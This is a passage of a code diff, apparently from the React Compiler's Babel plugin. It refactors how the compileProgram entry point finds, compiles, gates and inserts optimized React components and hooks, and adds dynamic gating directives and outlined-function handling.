+  CompilerError
+> {
+  if (opts.dynamicGating === null) {
+    return Ok(null);
+  }
+  const errors = new CompilerError();
+  const result: Array<{directive: t.Directive; match: string}> = [];
+
   for (const directive of directives) {
-    const directiveValue = directive.value.value;
-    if (
-      (directiveValue === "use no forget" ||
-        directiveValue === "use no memo") &&
-      !options.ignoreUseNoForget
-    ) {
-      return directive;
+    const maybeMatch = DYNAMIC_GATING_DIRECTIVE.exec(directive.value.value);
+    if (maybeMatch != null && maybeMatch[1] != null) {
+      if (t.isValidIdentifier(maybeMatch[1])) {
+        result.push({directive, match: maybeMatch[1]});
+      } else {
+        errors.push({
+          reason: `Dynamic gating directive is not a valid JavaScript identifier`,
+          description: `Found '${directive.value.value}'`,
+          category: ErrorCategory.Gating,
+          loc: directive.loc ?? null,
+          suggestions: null,
+        });
+      }
     }
   }
-  return null;
+  if (errors.hasAnyErrors()) {
+    return Err(errors);
+  } else if (result.length > 1) {
+    const error = new CompilerError();
+    error.push({
+      reason: `Multiple dynamic gating directives found`,
+      description: `Expected a single directive but found [${result
+        .map(r => r.directive.value.value)
+        .join(', ')}]`,
+      category: ErrorCategory.Gating,
+      loc: result[0].directive.loc ?? null,
+      suggestions: null,
+    });
+    return Err(error);
+  } else if (result.length === 1) {
+    return Ok({
+      gating: {
+        source: opts.dynamicGating.source,
+        importSpecifierName: result[0].match,
+      },
+      directive: result[0].directive,
+    });
+  } else {
+    return Ok(null);
+  }
 }
 
-function isCriticalError(err: unknown): boolean {
-  return !(err instanceof CompilerError) || err.isCritical();
+function isError(err: unknown): boolean {
+  return !(err instanceof CompilerError) || err.hasErrors();
 }
 
 function isConfigError(err: unknown): boolean {
   if (err instanceof CompilerError) {
-    return err.details.some(
-      (detail) => detail.severity === ErrorSeverity.InvalidConfig
-    );
+    return err.details.some(detail => detail.category === ErrorCategory.Config);
   }
   return false;
 }
@@ -87,22 +160,31 @@ export type BabelFn =
   | NodePath<t.ArrowFunctionExpression>;
 
 export type CompileResult = {
+  /**
+   * Distinguishes existing functions that were compiled ('original') from
+   * functions which were outlined. Only original functions need to be gated
+   * if gating mode is enabled.
+   */
+  kind: 'original' | 'outlined';
   originalFn: BabelFn;
   compiledFn: CodegenFunction;
 };
 
-function handleError(
+function logError(
   err: unknown,
-  pass: CompilerPass,
-  fnLoc: t.SourceLocation | null
+  context: {
+    opts: PluginOptions;
+    filename: string | null;
+  },
+  fnLoc: t.SourceLocation | null,
 ): void {
-  if (pass.opts.logger) {
+  if (context.opts.logger) {
     if (err instanceof CompilerError) {
       for (const detail of err.details) {
-        pass.opts.logger.logEvent(pass.filename, {
-          kind: "CompileError",
+        context.opts.logger.logEvent(context.filename, {
+          kind: 'CompileError',
           fnLoc,
-          detail: detail.options,
+          detail,
         });
       }
     } else {
@@ -110,19 +192,29 @@ function handleError(
       if (err instanceof Error) {
         stringifiedError = err.stack ?? err.message;
       } else {
-        stringifiedError = err?.toString() ?? "[ null ]";
+        stringifiedError = err?.toString() ?? '[ null ]';
       }
 
-      pass.opts.logger.logEvent(pass.filename, {
-        kind: "PipelineError",
+      context.opts.logger.logEvent(context.filename, {
+        kind: 'PipelineError',
         fnLoc,
         data: stringifiedError,
       });
     }
   }
+}
+function handleError(
+  err: unknown,
+  context: {
+    opts: PluginOptions;
+    filename: string | null;
+  },
+  fnLoc: t.SourceLocation | null,
+): void {
+  logError(err, context, fnLoc);
   if (
-    pass.opts.panicThreshold === "all_errors" ||
-    (pass.opts.panicThreshold === "critical_errors" && isCriticalError(err)) ||
+    context.opts.panicThreshold === 'all_errors' ||
+    (context.opts.panicThreshold === 'critical_errors' && isError(err)) ||
     isConfigError(err) // Always throws regardless of panic threshold
   ) {
     throw err;
@@ -131,16 +223,16 @@ function handleError(
 
 export function createNewFunctionNode(
   originalFn: BabelFn,
-  compiledFn: CodegenFunction
+  compiledFn: CodegenFunction,
 ): t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression {
   let transformedFn:
     | t.FunctionDeclaration
     | t.ArrowFunctionExpression
     | t.FunctionExpression;
   switch (originalFn.node.type) {
-    case "FunctionDeclaration": {
+    case 'FunctionDeclaration': {
       const fn: t.FunctionDeclaration = {
-        type: "FunctionDeclaration",
+        type: 'FunctionDeclaration',
         id: compiledFn.id,
         loc: originalFn.node.loc ?? null,
         async: compiledFn.async,
@@ -151,9 +243,9 @@ export function createNewFunctionNode(
       transformedFn = fn;
       break;
     }
-    case "ArrowFunctionExpression": {
+    case 'ArrowFunctionExpression': {
       const fn: t.ArrowFunctionExpression = {
-        type: "ArrowFunctionExpression",
+        type: 'ArrowFunctionExpression',
         loc: originalFn.node.loc ?? null,
         async: compiledFn.async,
         generator: compiledFn.generator,
@@ -164,9 +256,9 @@ export function createNewFunctionNode(
       transformedFn = fn;
       break;
     }
-    case "FunctionExpression": {
+    case 'FunctionExpression': {
       const fn: t.FunctionExpression = {
-        type: "FunctionExpression",
+        type: 'FunctionExpression',
         id: compiledFn.id,
         loc: originalFn.node.loc ?? null,
         async: compiledFn.async,
@@ -177,34 +269,79 @@ export function createNewFunctionNode(
       transformedFn = fn;
       break;
     }
+    default: {
+      assertExhaustive(
+        originalFn.node,
+        `Creating unhandled function: ${originalFn.node}`,
+      );
+    }
   }
-
   // Avoid visiting the new transformed version
-  ALREADY_COMPILED.add(transformedFn);
   return transformedFn;
 }
 
-/*
- * This is a hack to work around what seems to be a Babel bug. Babel doesn't
- * consistently respect the `skip()` function to avoid revisiting a node within
- * a pass, so we use this set to track nodes that we have compiled.
- */
-const ALREADY_COMPILED: WeakSet<object> | Set<object> = new (WeakSet ?? Set)();
+function insertNewOutlinedFunctionNode(
+  program: NodePath<t.Program>,
+  originalFn: BabelFn,
+  compiledFn: CodegenFunction,
+): BabelFn {
+  switch (originalFn.type) {
+    case 'FunctionDeclaration': {
+      return originalFn.insertAfter(
+        createNewFunctionNode(originalFn, compiledFn),
+      )[0]!;
+    }
+    /**
+     * We can't just append the outlined function as a sibling of the original function if it is an
+     * (Arrow)FunctionExpression parented by a VariableDeclaration, as this would cause its parent
+     * to become a SequenceExpression instead which breaks a bunch of assumptions elsewhere in the
+     * plugin.
+     *
+     * To get around this, we always synthesize a new FunctionDeclaration for the outlined function
+     * and insert it as a true sibling to the original function.
+     */
+    case 'ArrowFunctionExpression':
+    case 'FunctionExpression': {
+      const fn: t.FunctionDeclaration = {
+        type: 'FunctionDeclaration',
+        id: compiledFn.id,
+        loc: originalFn.node.loc ?? null,
+        async: compiledFn.async,
+        generator: compiledFn.generator,
+        params: compiledFn.params,
+        body: compiledFn.body,
+      };
+      const insertedFuncDecl = program.pushContainer('body', [fn])[0]!;
+      CompilerError.invariant(insertedFuncDecl.isFunctionDeclaration(), {
+        reason: 'Expected inserted function declaration',
+        description: `Got: ${insertedFuncDecl}`,
+        loc: insertedFuncDecl.node?.loc ?? GeneratedSource,
+      });
+      return insertedFuncDecl;
+    }
+    default: {
+      assertExhaustive(
+        originalFn,
+        `Inserting unhandled function: ${originalFn}`,
+      );
+    }
+  }
+}
 
 const DEFAULT_ESLINT_SUPPRESSIONS = [
-  "react-hooks/exhaustive-deps",
-  "react-hooks/rules-of-hooks",
+  'react-hooks/exhaustive-deps',
+  'react-hooks/rules-of-hooks',
 ];
 
 function isFilePartOfSources(
   sources: Array<string> | ((filename: string) => boolean),
-  filename: string
+  filename: string,
 ): boolean {
-  if (typeof sources === "function") {
+  if (typeof sources === 'function') {
     return sources(filename);
   }
 
-  for (const prefix in sources) {
+  for (const prefix of sources) {
     if (filename.indexOf(prefix) !== -1) {
       return true;
     }
@@ -213,46 +350,39 @@ function isFilePartOfSources(
   return false;
 }
 
+/**
+ * Main entrypoint for React Compiler.
+ *
+ * @param program The Babel program node to compile
+ * @param pass Compiler configuration and context
+ * @returns Compilation results or null if compilation was skipped
+ */
 export function compileProgram(
   program: NodePath<t.Program>,
-  pass: CompilerPass
+  pass: CompilerPass,
 ): void {
-  if (pass.opts.sources) {
-    if (pass.filename === null) {
-      const error = new CompilerError();
-      error.pushErrorDetail(
-        new CompilerErrorDetail({
-          reason: `Expected a filename but found none.`,
-          description:
-            "When the 'sources' config options is specified, the React compiler will only compile files with a name",
-          severity: ErrorSeverity.InvalidConfig,
-          loc: null,
-        })
-      );
-      handleError(error, pass, null);
-      return;
-    }
-
-    if (!isFilePartOfSources(pass.opts.sources, pass.filename)) {
-      return;
-    }
-  }
-
-  // Top level "use no forget", skip this file entirely
-  if (
-    findDirectiveDisablingMemoization(program.node.directives, pass.opts) !=
-    null
-  ) {
+  /**
+   * This is directly invoked by the react-compiler babel plugin, so exceptions
+   * thrown by this function will fail the babel build.
+   * - call `handleError` if your error is recoverable.
+   *   Unless the error is a warning / info diagnostic, compilation of a function
+   *   / entire file should also be skipped.
+   * - throw an exception if the error is fatal / not recoverable.
+   *   Examples of this are invalid compiler configs or failure to codegen outlined
+   *   functions *after* already emitting optimized components / hooks that invoke
+   *   the outlined functions.
+   */
+  if (shouldSkipCompilation(program, pass)) {
     return;
   }
-
-  const environment = parseEnvironmentConfig(pass.opts.environment ?? {});
-  const useMemoCacheIdentifier = program.scope.generateUidIdentifier("c");
-  const moduleName = pass.opts.runtimeModule ?? "react/compiler-runtime";
-  if (hasMemoCacheFunctionImport(program, moduleName)) {
+  const restrictedImportsErr = validateRestrictedImports(
+    program,
+    pass.opts.environment,
+  );
+  if (restrictedImportsErr) {
+    handleError(restrictedImportsErr, pass, null);
     return;
   }
-
   /*
    * Record lint errors and critical errors as depending on Forget's config,
    * we may still need to run Forget's analysis on every function (even if we
@@ -260,16 +390,126 @@ export function compileProgram(
    */
   const suppressions = findProgramSuppressions(
     pass.comments,
-    pass.opts.eslintSuppressionRules ?? DEFAULT_ESLINT_SUPPRESSIONS,
-    pass.opts.flowSuppressions
+    /*
+     * If the compiler is validating hooks rules and exhaustive memo dependencies, we don't need to check
+     * for React ESLint suppressions
+     */
+    pass.opts.environment.validateExhaustiveMemoizationDependencies &&
+      pass.opts.environment.validateHooksUsage
+      ? null
+      : (pass.opts.eslintSuppressionRules ?? DEFAULT_ESLINT_SUPPRESSIONS),
+    // Always bail on Flow suppressions
+    pass.opts.flowSuppressions,
+  );
+
+  const programContext = new ProgramContext({
+    program: program,
+    opts: pass.opts,
+    filename: pass.filename,
+    code: pass.code,
+    suppressions,
+    hasModuleScopeOptOut:
+      findDirectiveDisablingMemoization(program.node.directives, pass.opts) !=
+      null,
+  });
+
+  const queue: Array<CompileSource> = findFunctionsToCompile(
+    program,
+    pass,
+    programContext,
   );
-  const lintError = suppressionsToCompilerError(suppressions);
-  let hasCriticalError = lintError != null;
   const compiledFns: Array<CompileResult> = [];
 
+  // outputMode takes precedence if specified
+  const outputMode: CompilerOutputMode =
+    pass.opts.outputMode ?? (pass.opts.noEmit ? 'lint' : 'client');
+  while (queue.length !== 0) {
+    const current = queue.shift()!;
+    const compiled = processFn(
+      current.fn,
+      current.fnType,
+      programContext,
+      outputMode,
+    );
+
+    if (compiled != null) {
+      for (const outlined of compiled.outlined) {
+        CompilerError.invariant(outlined.fn.outlined.length === 0, {
+          reason: 'Unexpected nested outlined functions',
+          loc: outlined.fn.loc,
+        });
+        const fn = insertNewOutlinedFunctionNode(
+          program,
+          current.fn,
+          outlined.fn,
+        );
+        fn.skip();
+        programContext.alreadyCompiled.add(fn.node);
+        if (outlined.type !== null) {
+          queue.push({
+            kind: 'outlined',
+            fn,
+            fnType: outlined.type,
+          });
+        }
+      }
+      compiledFns.push({
+        kind: current.kind,
+        originalFn: current.fn,
+        compiledFn: compiled,
+      });
+    }
+  }
+
+  // Avoid modifying the program if we find a program level opt-out
+  if (programContext.hasModuleScopeOptOut) {
+    if (compiledFns.length > 0) {
+      const error = new CompilerError();
+      error.pushErrorDetail(
+        new CompilerErrorDetail({
+          reason:
+            'Unexpected compiled functions when module scope opt-out is present',
+          category: ErrorCategory.Invariant,
+          loc: null,
+        }),
+      );
+      handleError(error, programContext, null);
+    }
+    return;
+  }
+
+  // Insert React Compiler generated functions into the Babel AST
+  applyCompiledFunctions(program, compiledFns, pass, programContext);
+}
+
+type CompileSource = {
+  kind: 'original' | 'outlined';
+  fn: BabelFn;
+  fnType: ReactFunctionType;
+};
+/**
+ * Find all React components and hooks that need to be compiled
+ *
+ * @returns An array of React functions from @param program to transform
+ */
+function findFunctionsToCompile(
+  program: NodePath<t.Program>,
+  pass: CompilerPass,
+  programContext: ProgramContext,
+): Array<CompileSource> {
+  const queue: Array<CompileSource> = [];
   const traverseFunction = (fn: BabelFn, pass: CompilerPass): void => {
+    // In 'all' mode, compile only top level functions
+    if (
+      pass.opts.compilationMode === 'all' &&
+      fn.scope.getProgramParent() !== fn.scope.parent
+    ) {
+      return;
+    }
+
     const fnType = getReactFunctionType(fn, pass);
-    if (fnType === null || ALREADY_COMPILED.has(fn.node)) {
+
+    if (fnType === null || programContext.alreadyCompiled.has(fn.node)) {
       return;
     }
 
@@ -278,69 +518,10 @@ export function compileProgram(
      * traversal will loop infinitely.
      * Ensure we avoid visiting the original function again.
      */
-    ALREADY_COMPILED.add(fn.node);
+    programContext.alreadyCompiled.add(fn.node);
     fn.skip();
 
-    if (lintError != null) {
-      /**
-       * Note that Babel does not attach comment nodes to nodes; they are dangling off of the
-       * Program node itself. We need to figure out whether an eslint suppression range
-       * applies to this function first.
-       */
-      const suppressionsInFunction = filterSuppressionsThatAffectFunction(
-        suppressions,
-        fn
-      );
-      if (suppressionsInFunction.length > 0) {
-        handleError(lintError, pass, fn.node.loc ?? null);
-      }
-    }
-
-    let compiledFn: CodegenFunction;
-    try {
-      /*
-       * TODO(lauren): Remove pass.opts.environment nullcheck once PluginOptions
-       * is validated
-       */
-      if (environment.isErr()) {
-        CompilerError.throwInvalidConfig({
-          reason:
-            "Error in validating environment config. This is an advanced setting and not meant to be used directly",
-          description: environment.unwrapErr().toString(),
-          suggestions: null,
-          loc: null,
-        });
-      }
-      const config = environment.unwrap();
-
-      compiledFn = compileFn(
-        fn,
-        config,
-        fnType,
-        useMemoCacheIdentifier.name,
-        pass.opts.logger,
-        pass.filename,
-        pass.code
-      );
-      pass.opts.logger?.logEvent(pass.filename, {
-        kind: "CompileSuccess",
-        fnLoc: fn.node.loc ?? null,
-        fnName: compiledFn.id?.name ?? null,
-        memoSlots: compiledFn.memoSlotsUsed,
-        memoBlocks: compiledFn.memoBlocks,
-        memoValues: compiledFn.memoValues,
-        prunedMemoBlocks: compiledFn.prunedMemoBlocks,
-        prunedMemoValues: compiledFn.prunedMemoValues,
-      });
-    } catch (err) {
-      hasCriticalError ||= isCriticalError(err);
-      handleError(err, pass, fn.node.loc ?? null);
-      return;
-    }
-
-    if (!pass.opts.noEmit && !hasCriticalError) {
-      compiledFns.push({ originalFn: fn, compiledFn });
-    }
+    queue.push({kind: 'original', fn, fnType});
   };
 
   // Main traversal to compile with Forget
@@ -352,7 +533,6 @@ export function compileProgram(
          * can reference `this` which is unsafe for compilation
          */
         node.skip();
-        return;
       },
 
       ClassExpression(node: NodePath<t.ClassExpression>) {
@@ -361,7 +541,6 @@ export function compileProgram(
          * can reference `this` which is unsafe for compilation
          */
         node.skip();
-        return;
       },
 
       FunctionDeclaration: traverseFunction,
@@ -372,78 +551,223 @@ export function compileProgram(
     },
     {
       ...pass,
-      opts: { ...pass.opts, ...pass.opts },
+      opts: {...pass.opts, ...pass.opts},
       filename: pass.filename ?? null,
-    }
+    },
   );
+  return queue;
+}
 
-  if (pass.opts.gating != null) {
-    const error = checkFunctionReferencedBeforeDeclarationAtTopLevel(
-      program,
-      compiledFns.map(({ originalFn }) => originalFn)
+/**
+ * Try to compile a source function, taking into account all local suppressions,
+ * opt-ins, and opt-outs.
+ *
+ * Errors encountered during compilation are either logged (if recoverable) or
+ * thrown (if non-recoverable).
+ *
+ * @returns the compiled function or null if the function was skipped (due to
+ * config settings and/or outputs)
+ */
+function processFn(
+  fn: BabelFn,
+  fnType: ReactFunctionType,
+  programContext: ProgramContext,
+  outputMode: CompilerOutputMode,
+): null | CodegenFunction {
+  let directives: {
+    optIn: t.Directive | null;
+    optOut: t.Directive | null;
+  };
+  if (fn.node.body.type !== 'BlockStatement') {
+    directives = {
+      optIn: null,
+      optOut: null,
+    };
+  } else {
+    const optIn = tryFindDirectiveEnablingMemoization(
+      fn.node.body.directives,
+      programContext.opts,
     );
-    if (error) {
-      handleError(error, pass, null);
-      return;
+    if (optIn.isErr()) {
+      /**
+       * If parsing opt-in directive fails, it's most likely that React Compiler
+       * was not tested or rolled out on this function. In that case, we handle
+       * the error and fall back to the safest option which is to not optimize
+       * the function.
+       */
+      handleError(optIn.unwrapErr(), programContext, fn.node.loc ?? null);
+      return null;
     }
+    directives = {
+      optIn: optIn.unwrapOr(null),
+      optOut: findDirectiveDisablingMemoization(
+        fn.node.body.directives,
+        programContext.opts,
+      ),
+    };
   }
 
-  const externalFunctions: Array<ExternalFunction> = [];
-  let gating: null | ExternalFunction = null;
-  try {
-    // TODO: check for duplicate import specifiers
-    if (pass.opts.gating != null) {
-      gating = tryParseExternalFunction(pass.opts.gating);
-      externalFunctions.push(gating);
+  let compiledFn: CodegenFunction;
+  const compileResult = tryCompileFunction(
+    fn,
+    fnType,
+    programContext,
+    outputMode,
+  );
+  if (compileResult.kind === 'error') {
+    if (directives.optOut != null) {
+      logError(compileResult.error, programContext, fn.node.loc ?? null);
+    } else {
+      handleError(compileResult.error, programContext, fn.node.loc ?? null);
     }
+    return null;
+  } else {
+    compiledFn = compileResult.compiledFn;
+  }
 
-    const enableEmitInstrumentForget =
-      pass.opts.environment?.enableEmitInstrumentForget;
-    if (enableEmitInstrumentForget != null) {
-      externalFunctions.push(
-        tryParseExternalFunction(enableEmitInstrumentForget.fn)
-      );
-      if (enableEmitInstrumentForget.gating != null) {
-        externalFunctions.push(
-          tryParseExternalFunction(enableEmitInstrumentForget.gating)
-        );
-      }
-    }
+  /**
+   * If 'use no forget/memo' is present and we still ran the code through the
+   * compiler for validation, log a skip event and don't mutate the babel AST.
+   * This allows us to flag if there is an unused 'use no forget/memo'
+   * directive.
+   */
+  if (
+    programContext.opts.ignoreUseNoForget === false &&
+    directives.optOut != null
+  ) {
+    programContext.logEvent({
+      kind: 'CompileSkip',
+      fnLoc: fn.node.body.loc ?? null,
+      reason: `Skipped due to '${directives.optOut.value}' directive.`,
+      loc: directives.optOut.loc ?? null,
+    });
+    return null;
+  }
+  programContext.logEvent({
+    kind: 'CompileSuccess',
+    fnLoc: fn.node.loc ?? null,
+    fnName: compiledFn.id?.name ?? null,
+    memoSlots: compiledFn.memoSlotsUsed,
+    memoBlocks: compiledFn.memoBlocks,
+    memoValues: compiledFn.memoValues,
+    prunedMemoBlocks: compiledFn.prunedMemoBlocks,
+    prunedMemoValues: compiledFn.prunedMemoValues,
+  });
 
-    if (pass.opts.environment?.enableEmitFreeze != null) {
-      const enableEmitFreeze = tryParseExternalFunction(
-        pass.opts.environment.enableEmitFreeze
-      );
-      externalFunctions.push(enableEmitFreeze);
-    }
+  if (programContext.hasModuleScopeOptOut) {
+    return null;
+  } else if (programContext.opts.outputMode === 'lint') {
+    return null;
+  } else if (
+    programContext.opts.compilationMode === 'annotation' &&
+    directives.optIn == null
+  ) {
+    /**
+     * If no opt-in directive is found and the compiler is configured in
+     * annotation mode, don't insert the compiled function.
+     */
+    return null;
+  } else {
+    return compiledFn;
+  }
+}
 
-    if (pass.opts.environment?.enableEmitHookGuards != null) {
-      const enableEmitHookGuards = tryParseExternalFunction(
-        pass.opts.environment.enableEmitHookGuards
-      );
-      externalFunctions.push(enableEmitHookGuards);
-    }
+function tryCompileFunction(
+  fn: BabelFn,
+  fnType: ReactFunctionType,
+  programContext: ProgramContext,
+  outputMode: CompilerOutputMode,
+):
+  | {kind: 'compile'; compiledFn: CodegenFunction}
+  | {kind: 'error'; error: unknown} {
+  /**
+   * Note that Babel does not attach comment nodes to nodes; they are dangling off of the
+   * Program node itself. We need to figure out whether an eslint suppression range
+   * applies to this function first.
+   */
+  const suppressionsInFunction = filterSuppressionsThatAffectFunction(
+    programContext.suppressions,
+    fn,
+  );
+  if (suppressionsInFunction.length > 0) {
+    return {
+      kind: 'error',
+      error: suppressionsToCompilerError(suppressionsInFunction),
+    };
+  }
 
-    if (pass.opts.environment?.enableChangeDetectionForDebugging != null) {
-      const enableChangeDetectionForDebugging = tryParseExternalFunction(
-        pass.opts.environment.enableChangeDetectionForDebugging
-      );
-      externalFunctions.push(enableChangeDetectionForDebugging);
+  try {
+    const result = compileFn(
+      fn,
+      programContext.opts.environment,
+      fnType,
+      outputMode,
+      programContext,
+      programContext.opts.logger,
+      programContext.filename,
+      programContext.code,
+    );
+    if (result.isOk()) {
+      return {kind: 'compile', compiledFn: result.unwrap()};
+    } else {
+      return {kind: 'error', error: result.unwrapErr()};
     }
   } catch (err) {
-    handleError(err, pass, null);
-    return;
+    /**
+     * A pass incorrectly threw instead of recording the error.
+     * Log for detection in development.
+     */
+    if (
+      err instanceof CompilerError &&
+      err.details.every(detail => detail.category !== ErrorCategory.Invariant)
+    ) {
+      programContext.logEvent({
+        kind: 'CompileUnexpectedThrow',
+        fnLoc: fn.node.loc ?? null,
+        data: err.toString(),
+      });
+    }
+    return {kind: 'error', error: err};
   }
+}
 
-  /*
-   * Only insert Forget-ified functions if we have not encountered a critical
-   * error elsewhere in the file, regardless of bailout mode.
-   */
-  for (const { originalFn, compiledFn } of compiledFns) {
+/**
+ * Applies React Compiler generated functions to the babel AST by replacing
+ * existing functions in place or inserting new declarations.
+ */
+function applyCompiledFunctions(
+  program: NodePath<t.Program>,
+  compiledFns: Array<CompileResult>,
+  pass: CompilerPass,
+  programContext: ProgramContext,
+): void {
+  let referencedBeforeDeclared = null;
+  for (const result of compiledFns) {
+    const {kind, originalFn, compiledFn} = result;
     const transformedFn = createNewFunctionNode(originalFn, compiledFn);
+    programContext.alreadyCompiled.add(transformedFn);
 
-    if (gating != null) {
-      insertGatedFunctionDeclaration(originalFn, transformedFn, gating);
+    let dynamicGating: ExternalFunction | null = null;
+    if (originalFn.node.body.type === 'BlockStatement') {
+      const result = findDirectivesDynamicGating(
+        originalFn.node.body.directives,
+        pass.opts,
+      );
+      if (result.isOk()) {
+        dynamicGating = result.unwrap()?.gating ?? null;
+      }
+    }
+    const functionGating = dynamicGating ?? pass.opts.gating;
+    if (kind === 'original' && functionGating != null) {
+      referencedBeforeDeclared ??=
+        getFunctionReferencedBeforeDeclarationAtTopLevel(program, compiledFns);
+      insertGatedFunctionDeclaration(
+        originalFn,
+        transformedFn,
+        programContext,
+        functionGating,
+        referencedBeforeDeclared.has(result),
+      );
     } else {
       originalFn.replaceWith(transformedFn);
     }
@@ -451,52 +775,57 @@ export function compileProgram(
 
   // Forget compiled the component, we need to update existing imports of useMemoCache
   if (compiledFns.length > 0) {
-    let needsMemoCacheFunctionImport = false;
-    for (const fn of compiledFns) {
-      if (fn.compiledFn.memoSlotsUsed > 0) {
-        needsMemoCacheFunctionImport = true;
-        break;
-      }
-    }
+    addImportsToProgram(program, programContext);
+  }
+}
 
-    if (needsMemoCacheFunctionImport) {
-      updateMemoCacheFunctionImport(
-        program,
-        moduleName,
-        useMemoCacheIdentifier.name
+function shouldSkipCompilation(
+  program: NodePath<t.Program>,
+  pass: CompilerPass,
+): boolean {
+  if (pass.opts.sources) {
+    if (pass.filename === null) {
+      const error = new CompilerError();
+      error.pushErrorDetail(
+        new CompilerErrorDetail({
+          reason: `Expected a filename but found none.`,
+          description:
+            "When the 'sources' config options is specified, the React compiler will only compile files with a name",
+          category: ErrorCategory.Config,
+          loc: null,
+        }),
       );
+      handleError(error, pass, null);
+      return true;
+    }
+
+    if (!isFilePartOfSources(pass.opts.sources, pass.filename)) {
+      return true;
     }
-    addImportsToProgram(program, externalFunctions);
   }
+
+  if (
+    hasMemoCacheFunctionImport(
+      program,
+      getReactCompilerRuntimeModule(pass.opts.target),
+    )
+  ) {
+    return true;
+  }
+  return false;
 }
 
 function getReactFunctionType(
   fn: BabelFn,
-  pass: CompilerPass
+  pass: CompilerPass,
 ): ReactFunctionType | null {
-  const hookPattern = pass.opts.environment?.hookPattern ?? null;
-  if (fn.node.body.type === "BlockStatement") {
-    // Opt-outs disable compilation regardless of mode
-    const useNoForget = findDirectiveDisablingMemoization(
+  if (fn.node.body.type === 'BlockStatement') {
+    const optInDirectives = tryFindDirectiveEnablingMemoization(
       fn.node.body.directives,
-      pass.opts
+      pass.opts,
     );
-    if (useNoForget != null) {
-      pass.opts.logger?.logEvent(pass.filename, {
-        kind: "CompileError",
-        fnLoc: fn.node.body.loc ?? null,
-        detail: {
-          severity: ErrorSeverity.Todo,
-          reason: 'Skipped due to "use no forget" directive.',
-          loc: useNoForget.loc ?? null,
-          suggestions: null,
-        },
-      });
-      return null;
-    }
-    // Otherwise opt-ins enable compilation regardless of mode
-    if (findDirectiveEnablingMemoization(fn.node.body.directives) != null) {
-      return getComponentOrHookLike(fn, hookPattern) ?? "Other";
+    if (optInDirectives.unwrapOr(null) != null) {
+      return getComponentOrHookLike(fn) ?? 'Other';
     }
   }
 
@@ -504,36 +833,31 @@ function getReactFunctionType(
   let componentSyntaxType: ReactFunctionType | null = null;
   if (fn.isFunctionDeclaration()) {
     if (isComponentDeclaration(fn.node)) {
-      componentSyntaxType = "Component";
+      componentSyntaxType = 'Component';
     } else if (isHookDeclaration(fn.node)) {
-      componentSyntaxType = "Hook";
+      componentSyntaxType = 'Hook';
     }
   }
 
   switch (pass.opts.compilationMode) {
-    case "annotation": {
+    case 'annotation': {
       // opt-ins are checked above
       return null;
     }
-    case "infer": {
+    case 'infer': {
       // Check if this is a component or hook-like function
-      return componentSyntaxType ?? getComponentOrHookLike(fn, hookPattern);
+      return componentSyntaxType ?? getComponentOrHookLike(fn);
     }
-    case "syntax": {
+    case 'syntax': {
       return componentSyntaxType;
     }
-    case "all": {
-      // Compile only top level functions
-      if (fn.scope.getProgramParent() !== fn.scope.parent) {
-        return null;
-      }
-
-      return getComponentOrHookLike(fn, hookPattern) ?? "Other";
+    case 'all': {
+      return getComponentOrHookLike(fn) ?? 'Other';
     }
     default: {
       assertExhaustive(
         pass.opts.compilationMode,
-        `Unexpected compilationMode \`${pass.opts.compilationMode}\``
+        `Unexpected compilationMode \`${pass.opts.compilationMode}\``,
       );
     }
   }
@@ -546,12 +870,12 @@ function getReactFunctionType(
  */
 function hasMemoCacheFunctionImport(
   program: NodePath<t.Program>,
-  moduleName: string
+  moduleName: string,
 ): boolean {
   let hasUseMemoCache = false;
   program.traverse({
     ImportSpecifier(path) {
-      const imported = path.get("imported");
+      const imported = path.get('imported');
       let importedName: string | null = null;
       if (imported.isIdentifier()) {
         importedName = imported.node.name;
@@ -559,9 +883,9 @@ function hasMemoCacheFunctionImport(
         importedName = imported.node.value;
       }
       if (
-        importedName === "c" &&
+        importedName === 'c' &&
         path.parentPath.isImportDeclaration() &&
-        path.parentPath.get("source").node.value === moduleName
+        path.parentPath.get('source').node.value === moduleName
       ) {
         hasUseMemoCache = true;
       }
@@ -570,10 +894,7 @@ function hasMemoCacheFunctionImport(
   return hasUseMemoCache;
 }
 
-function isHookName(s: string, hookPattern: string | null): boolean {
-  if (hookPattern !== null) {
-    return new RegExp(hookPattern).test(s);
-  }
+function isHookName(s: string): boolean {
   return /^use[A-Z0-9]/.test(s);
 }
 
@@ -582,20 +903,17 @@ function isHookName(s: string, hookPattern: string | null): boolean {
  * containing a hook name.
  */
 
-function isHook(
-  path: NodePath<t.Expression | t.PrivateName>,
-  hookPattern: string | null
-): boolean {
+function isHook(path: NodePath<t.Expression | t.PrivateName>): boolean {
   if (path.isIdentifier()) {
-    return isHookName(path.node.name, hookPattern);
+    return isHookName(path.node.name);
   } else if (
     path.isMemberExpression() &&
     !path.node.computed &&
-    isHook(path.get("property"), hookPattern)
+    isHook(path.get('property'))
   ) {
-    const obj = path.get("object").node;
+    const obj = path.get('object').node;
     const isPascalCaseNameSpace = /^[A-Z].*/;
-    return obj.type === "Identifier" && isPascalCaseNameSpace.test(obj.name);
+    return obj.type === 'Identifier' && isPascalCaseNameSpace.test(obj.name);
   } else {
     return false;
   }
@@ -612,15 +930,15 @@ function isComponentName(path: NodePath<t.Expression>): boolean {
 
 function isReactAPI(
   path: NodePath<t.Expression | t.PrivateName | t.V8IntrinsicIdentifier>,
-  functionName: string
+  functionName: string,
 ): boolean {
   const node = path.node;
   return (
-    (node.type === "Identifier" && node.name === functionName) ||
-    (node.type === "MemberExpression" &&
-      node.object.type === "Identifier" &&
-      node.object.name === "React" &&
-      node.property.type === "Identifier" &&
+    (node.type === 'Identifier' && node.name === functionName) ||
+    (node.type === 'MemberExpression' &&
+      node.object.type === 'Identifier' &&
+      node.object.name === 'React' &&
+      node.property.type === 'Identifier' &&
       node.property.name === functionName)
   );
 }
@@ -633,8 +951,8 @@ function isReactAPI(
 function isForwardRefCallback(path: NodePath<t.Expression>): boolean {
   return !!(
     path.parentPath.isCallExpression() &&
-    path.parentPath.get("callee").isExpression() &&
-    isReactAPI(path.parentPath.get("callee"), "forwardRef")
+    path.parentPath.get('callee').isExpression() &&
+    isReactAPI(path.parentPath.get('callee'), 'forwardRef')
   );
 }
 
@@ -646,50 +964,50 @@ function isForwardRefCallback(path: NodePath<t.Expression>): boolean {
 function isMemoCallback(path: NodePath<t.Expression>): boolean {
   return (
     path.parentPath.isCallExpression() &&
-    path.parentPath.get("callee").isExpression() &&
-    isReactAPI(path.parentPath.get("callee"), "memo")
+    path.parentPath.get('callee').isExpression() &&
+    isReactAPI(path.parentPath.get('callee'), 'memo')
   );
 }
 
 function isValidPropsAnnotation(
